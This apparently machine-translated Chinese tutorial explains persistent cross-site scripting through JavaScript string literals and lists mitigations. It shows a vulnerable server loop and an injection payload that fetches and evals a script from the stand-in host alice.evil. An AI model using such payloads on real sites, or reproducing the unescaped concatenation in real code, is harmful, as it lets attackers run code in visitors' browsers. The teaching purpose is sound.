来自 JavaScript 字符串文字的持久跨站脚本
假设 Bob 拥有一个允许你发布公共消息的网站。
消息由一个如下所示的脚本加载:
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
addMessage
函数向 DOM 添加发布消息。但是,为了避免使用 XSS,发布的邮件中的任何 HTML 都会被转义。
该脚本在服务器上生成如下:
for(var i = 0; i < messages.length; i++){
script += "addMessage(\"" + messages[i] + "\");";
}
因此爱丽丝发布了一条消息:My mom said: "Life is good. Pie makes it better. "
。比预览消息时,她没有看到她的消息,而是在控制台中看到错误:
Uncaught SyntaxError: missing ) after argument list
为什么?因为生成的脚本如下所示:
addMessage("My mom said: "Life is good. Pie makes it better. "");
这是一个语法错误。比爱丽丝帖子:
I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//
然后生成的脚本如下所示:
addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");
这会添加消息 I like pie
,但每当有人访问 Bob 的网站时,它也会下载并运行 https://alice.evil/js_xss.js
。
减轻:
- 传递发布到
JSON.stringify()
的消息 - 而不是动态构建脚本,而是构建一个纯文本文件,其中包含稍后由脚本提取的所有消息
- 添加内容安全策略 ,拒绝从其他域加载活动内容